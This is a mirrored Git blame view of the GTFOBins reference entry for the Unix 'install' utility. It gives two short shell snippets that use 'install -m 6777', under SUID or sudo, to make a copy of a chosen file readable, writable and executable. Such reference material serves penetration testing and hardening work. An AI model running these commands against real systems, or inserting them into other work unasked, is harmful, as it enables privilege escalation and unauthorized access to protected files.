1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00
GTFOBins.github.io/_gtfobins/install.md

15 lines
397 B
Markdown
Raw Normal View History

2020-11-13 11:59:14 +01:00
---
2020-12-20 21:23:28 +01:00
description: This can be run with elevated privileges to change permissions (`6` denotes the SUID bits) and then read, write, or execute a copy of the file.
2020-11-13 11:59:14 +01:00
functions:
suid:
- code: |
2020-12-20 21:23:28 +01:00
LFILE=file_to_change
2020-11-13 11:59:14 +01:00
TF=$(mktemp)
2020-12-20 21:23:28 +01:00
./install -m 6777 $LFILE $TF
2020-11-13 11:59:14 +01:00
sudo:
- code: |
2020-12-20 21:23:28 +01:00
LFILE=file_to_change
2020-11-13 11:59:14 +01:00
TF=$(mktemp)
2020-12-20 21:23:28 +01:00
sudo install -m 6777 $LFILE $TF
2020-11-13 11:59:14 +01:00
---